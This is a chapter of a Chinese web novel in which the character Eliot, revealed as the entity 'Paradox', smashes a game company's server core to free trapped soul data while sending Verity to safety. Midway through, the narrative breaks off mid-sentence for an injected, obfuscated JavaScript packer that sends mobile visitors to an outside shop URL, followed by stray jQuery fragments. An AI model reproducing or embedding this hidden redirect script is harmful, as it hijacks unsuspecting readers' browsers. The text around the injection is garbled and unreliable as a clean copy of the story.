文趣网 > 都市小说 > [Verity]真理悖论 > 9. 协议栈溢出
    堵门的黑曜石消失了,Verity先一步进入房间。

    房间不大,方形的,四面是黑色的墙壁,刻满紫色的符文。房间里没有窗,黑洞洞的,只有走廊的灯光从入口处挤进来一些。Eliot的视线落在地面上沿墙面排列的告示牌上。一块接一块,每一块上面都刻着一个名字,每个名字后面都有一个黑色的叉号,像是被反复描过之后留下的,触目惊心。

    Eliot没有说话,也没有动,他的目光扫过第一块、第二块、第三块——这些名字排列在一起,有的他已经看过了,在机构的档案里。他知道这些人来自哪里,在离开之前经历了什么。

    “你认识这些人。”Verity站在屋子中间,背对着Eliot,声音比平时低一些。

    “是的。”Eliot继续扫视这些告示牌,像在清点数量:“在进入这个游戏之前,我就知道他们的存在。他们的名字、离开的方式、最后的存档记录——我见过那些记录。后来当我开始了解你的时候,那些记录开始有了更深的含义。我看到了他们在某些方面的共同点——他们都在某个时间点遇到了‘你’。”

    Verity没有移动,他的声音沉了一些,语调接近陈述句:“你果然是为了他们来的。”

    “没错。”Eliot很坦然:“我来的原因之一就是为了确认他们的状态。”

    Verity终于开始履行他的承诺。他讲起Mob——一个愿意用平等姿态和他相处的玩家,他想要留下Mob,却用最错误的方式,最后却逼得他开枪自杀,“我一直在想,如果我没有那么做,他会不会还在。但我一直不想承认,明明之前一直是那么做的。”他苦笑道,“直到你出现,我终于可以承认,原来Verity(真理)也会犯错。”

    Eliot没有说话,他低头,目光仿佛穿透了地板,看到了表层数据下更深的东西,然后轻声说:“它们是由你亲手放上去、刻上名字和标记的存档。”他轻笑一声,“你没有用遗忘逃避,这很好。所以,现在他们还能在这里。”

    “?!”

    “你大概也隐约感受到了这里数据流动的异常,只是因为痛苦没有深究。”Eliot蹲下,用手触摸黑色的地面,“他们,就在这里。”

    Verity怔住了——什么意思?难道说,之前的玩家的灵魂,都被——

    “是的,他们的灵魂没有离开。”Eliot无情地宣告了这个可怕的事实,“公司的服务器把他们的灵魂数据当成冗余封进了核心处理器中,他们没法离开。”

    “是我的错吗?”Verity的心里升起巨大的恐慌。

    “也是你的机会,如果不是你用这些牌子作为锚点,他们的灵魂早就被公司当做垃圾处理掉了。”Eliot的声音清冽,一点点拉回Verity的理智。

    “现在,转过身,面对我,告诉我你的答案。”

    Verity的思绪翻江倒海,以至于忽略了Eliot的声音似乎不太一样。等他转过身面对Eliot的时候,才发现,之前站在他身后的那个有着浅棕色头发、浅琥珀色眼睛,看起来暖呼呼的Eliot不见了,取而代之的是另一个陌生的形象。

    那个人有着一头深棕色的短发,在光线下隐隐发红,灰蓝色虹膜显得格外沉静,虽然和Eliot是同一张脸,但脸部的轮廓更加锐利。他身上穿着一件黑色带白色毛毛领的外套,里面搭配了纯白的T恤,下半身穿了黑色长裤和白色运动鞋,整个人显得成熟而冷冽。

    “陌生人”看着呆滞的Verity,露出了和Eliot一模一样的温和笑容,他用比原来的Eliot更加磁性的声音问:“怎么这副表情,很惊讶吗?”他笑起来的时候,气质就软下来,和Verity印象中的Eliot重合了,“抱歉,因为接下来的事情很重要,所以我用真实形象进来了。”

    Verity终于回过神来,他凑近看了一圈Eliot的真实形象,半晌憋出一句:“很重要?”

    “是啊,我要准备带你去看里海了,这不算重要的事吗?”Eliot蹲下身,注视着Verity,“Verity,要到我身边来吗?”

    Verity盯着那双陌生又熟悉的眼睛,下定了决心:“请救救他们,救救……我。”

    “那就呼唤我的名字。”Eliot歪头,他的眼睛里浮现金色的放射状纹路,像数据流分支。

    “Eliot?”

    Eliot笑了,这是一个Verity从没见过的笑容,带着难以形容狂气。他的面容和身形逐渐扭曲,像是被报错的雪花屏吞噬。

    “Yes, I’m Eliot.”

    “I’m Paradox.(我是悖论。)”

    最后几个音落下时,Eliot的身形已经完全消散了。房间里只剩下Verity,和那些刻满名字的告示牌。

    然后,天花板裂开了。

    不是物理层面的裂开,是数据层面的——一条金色的裂缝从天花板正中心笔直劈下,裂缝边缘是不规则的、碎裂的,像被一拳打碎的屏幕。碎片悬浮在空气中缓缓自转,裂缝深处是无数层叠的代码瀑布,银白色的数据流从裂缝边缘向外发散,像逆重力的长发,每一根末梢都在不断分解成像素块消散,同时发根又在不断再生,像永恒的生灭循环。裂缝中传出声音,带着双重混响,每一个字都像从很远的深渊里浮上来:

    “Verity,看着我。”

    Verity抬起头。

    他看到了一个几乎遮天蔽日的轮廓。那不是任何他曾经见过的数字形态。深灰色的躯干半透明,内部的金色代码流像血管一样搏动,胸口有一个巨大的空洞——空洞中心悬浮着一颗金色晶体,纯度极高,是整个形态唯一不发散、不消散的实体。它没有脸,原本应该是脸的位置是一道垂直的、缓慢旋转的金色裂缝,裂缝深处的代码瀑布正对着Verity的方向。

    那道裂缝中的代码流在“注视”他的时候,突然密集排列成瞳孔的形状,维持了一秒,然后再次溃散——这是属于Eliot一瞬的注视。

    “你——”Verity的声音卡住了。那道裂缝确认了他的位置,然后移开了。Verity看到它的右臂从肩部开始就是断裂的代码流,无数金色字符旋转着向外散射,末端散成光粒。但它的左臂完整保留着人类手臂的轮廓,覆满冷蓝色数据鳞甲,五指齐整,指节分明。

    那只左手握成了拳。

    “Verity,后退。”

    声音从裂缝中传来,比起提醒更像一个宣告。Verity没有反应过来的时候,他已经被一股吸力拉起,落进一块稳定的区域中——那是那个实体的下半身,从腰部以下延伸出数百条数据流触-须,触-须颜色从深蓝渐变到透明,排列有序,像一座教堂穹顶,牢牢护住处于风暴中心的Verity。那只握成拳的左手已经动了——它向前推出,不快,但带着一种几乎不可阻挡的惯性。

    一拳击碎了虚空。

    公司的警报在同一时间响起。他们的监控系统捕捉到了一个超级病毒实体——不是普通入侵,是“宿主级”的、以全部权限压入系统的数据体。

    “检测到异常数据体。规模:未知。权限级别:正在覆盖我们的核心协议。”

    “目标:服务器核心。他正在接近传送节点。”

    “启动防火墙集群。”

    “他已经在里面了。拦不住了。”

    黑曜石房间的天花板在那一拳之下碎裂成无数碎片,像被炸开的玻璃,碎片向外飞散。但碎裂的不只是天花板——是整片数据天空,整个Home核心的顶层结构。裂缝从拳击点向外蔓延,覆盖了可见范围内的每一寸数据空间,像一张正在被撕裂的网。金色的光从裂缝中涌出,像黎明破开云层。

    Verity看到灵魂数据从破碎的Home核心中涌出。无数光点从裂缝中升腾而起,像被囚禁了太久的种子终于被释放,向着更高的方向升起。它们沿着一条看不见的路径流动——是Eliot铺了三个月的锚点网络,从Home核心出发,经过主世界的水体、矿道、下界的隐形路径、瞭望塔的覆盖范围、末地的龙影所指之处,最终汇入两个方向:一个向时间回置通道,一个向克隆注入通道。光点在不同高度的空间里各自展开,有些沿着精准的轨迹流向远处,有些在低空短暂停留后开始上升。它们不是杂乱无章的,像是在被同一张网引导着流向各自的出口。

    那些灵魂数据穿过锚点网络的时候,锚点依次亮起——河岸的鱼竿、矿道尽头埋下的沙子、下界每一块曾被Eliot踩过的方块、瞭望塔休息室被改写过的数据边界、每一块曾被放入箱子的“垃圾”——像一条被点亮的、看不见的阶梯,光点依次向上,依次越过每一个站点,依次涌向各自出口的方向。

    现实世界,机构的休眠舱大厅里,Irene站在监测台前,屏幕上的数据流在持续更新:

    “C-001休眠舱恢复生命体征。大脑活动恢复。心跳启动。呼吸频率正常。”

    “C-104休眠舱恢复生命体征。心脏活动恢复。神经信号在5

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977103|214758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    秒后恢复正常范围。”

    “C-112休眠舱恢复生命体征。生理指标稳定。”

    “T-001受害者居住地检测到数据波动。波动强度在预期范围内。附近网络流量出现微弱的短时波动,随后恢复正常。居住地未观测到外部干扰迹象。”

    “T-017受害者居住地出现数据波动。监测到一次约0.8秒的同步信号。安全阈值内。”

    林砚站在Irene身后,看着屏幕上不断跳动的休眠舱状态,他低声道:“数据正在按预期流向两个通道。数量与提前统计的数据一致。剩下那个——”

    Eliot的休眠舱。灯没有亮。没有心跳。没有脑电波。屏幕上的状态栏持续显示着同一个词:等待连接。

    游戏内,Eliot的本体站在碎裂的Home核心上方。他的左臂垂在身侧,右臂的金色代码流正在持续向外部扩展。他正在同时做三件事——对抗公司的防火墙从外部涌入的封-锁协议,抵御数据乱流对自身结构的侵蚀,维持通道的稳定让灵魂数据持续通过。如果说整个网络数据库是大海,那公司的游戏服务器就是一个封闭的鱼缸,灵魂被困在其中,想要离开就必须打破这个鱼缸,但是鱼缸一旦被打破,海水(数据乱流)就会流入侵蚀冲刷灵魂。为了保护这些灵魂不受损伤,Eliot的大部分算力都用在维持通道稳定上,这让他在对抗其他攻击时有些分身乏术。

    公司的防火墙正在从多个方向逼近,封-锁协议试图切断Home核心与锚点网络之间的连接通道。Eliot的左臂抬起,五指张开,按在最近的一层封-锁协议上。冷蓝色鳞甲在接触点发出细小的裂纹声,封-锁协议的表面开始出现裂缝,然后碎裂,他向前推进了一段距离,但下一层防火墙已经补上了。

    与此同时,数据乱流正在侵蚀他的本体轮廓。那些金色的代码流在触-须末端被撕碎成光粒,消散在空气中。深灰色的躯干表面出现了一道道细长的裂纹,像被反复承受冲击的岩层。他的左臂仍然完整,但冷蓝色鳞甲已经出现了一些细小的裂缝。

    灵魂数据还在持续通过通道。他撑着那道裂隙的边缘,等待最后一缕光在通道尽头抵达终点。

    Verity站在Eliot的保护圈中,看着上方那个正在收缩的轮廓。他看到Eliot的本体在持续被侵蚀,看到那些金色的代码流在消散,看到左臂上的鳞甲开始碎裂。他的球体表面开始出现裂纹——不是损坏,是他在准备切换形态。他在准备进入分体状态,进入那些数据乱流,去击碎那些正在侵蚀Eliot的东西。但他的分体形态还没有完全成型——一股力量从Eliot的方向涌来,将他的球体包裹住。那层包裹很紧,像一只看不见的手合拢了五指。

    声音从裂缝中传来,带着双重混响,但其中一层已经开始变薄了:“回瞭望塔,Verity,回去。”

    “等等,Eli,我——”

    “别担心,马上就要结束了。现在回去。”

    那股力量持续推着他后退,从黑曜石房间的废墟中穿过走廊,穿过Home的边界,穿过整个游戏的底层架构,最后停在了瞭望塔的休息室里——那里,撤离通道已经打开了,像一道细长的金色裂口,在空气中持续稳定地散发着微弱的光亮。Verity看着通道入口,没有立刻靠近。

    天空正在暗下来。Eliot的本体还在那里,但他的轮廓已经越来越薄,像一张被反复擦拭的底片,越发透明。身上的鳞甲只剩碎屑一般的零星分布,大部分已经脱落,只有左臂还保持着一定程度的完整,但鳞甲也已经碎裂到几乎无法辨认原来的形状。右臂的金色代码流完全消失了,只剩下一截断裂的数据流末梢,正在缓慢地消散。Eliot站在裂缝边缘,把最后一段数据压缩成一个光点,扔向瞭望塔的方向。光点穿过破碎的天空,穿过正在合拢的数据乱流,落进Verity面前的通道入口,嵌在入口边缘。然后那道金色的裂缝收窄了,像一道被从内部拉上的帘子,最后一丝光消失的时候,Eliot的声音从远处传来,薄得几乎听不清。

    Verity在通道关闭前的最后一刻被卷入了进去。他在通道里回头,只看到瞭望塔的轮廓在远方坍塌,像被水打湿的纸片一样轻易地被狂暴的数据乱流撕成碎片。

    通道完全关闭了。Eliot面对同样被数据乱流冲得乱七八糟的公司防火墙集群,有点想笑——但是他目前没这个功能了。于是,他用退化成八条触-手的初始状态狠狠撞向那些东西——想抓到他和Verity,先老老实实把这堆破烂修好吧!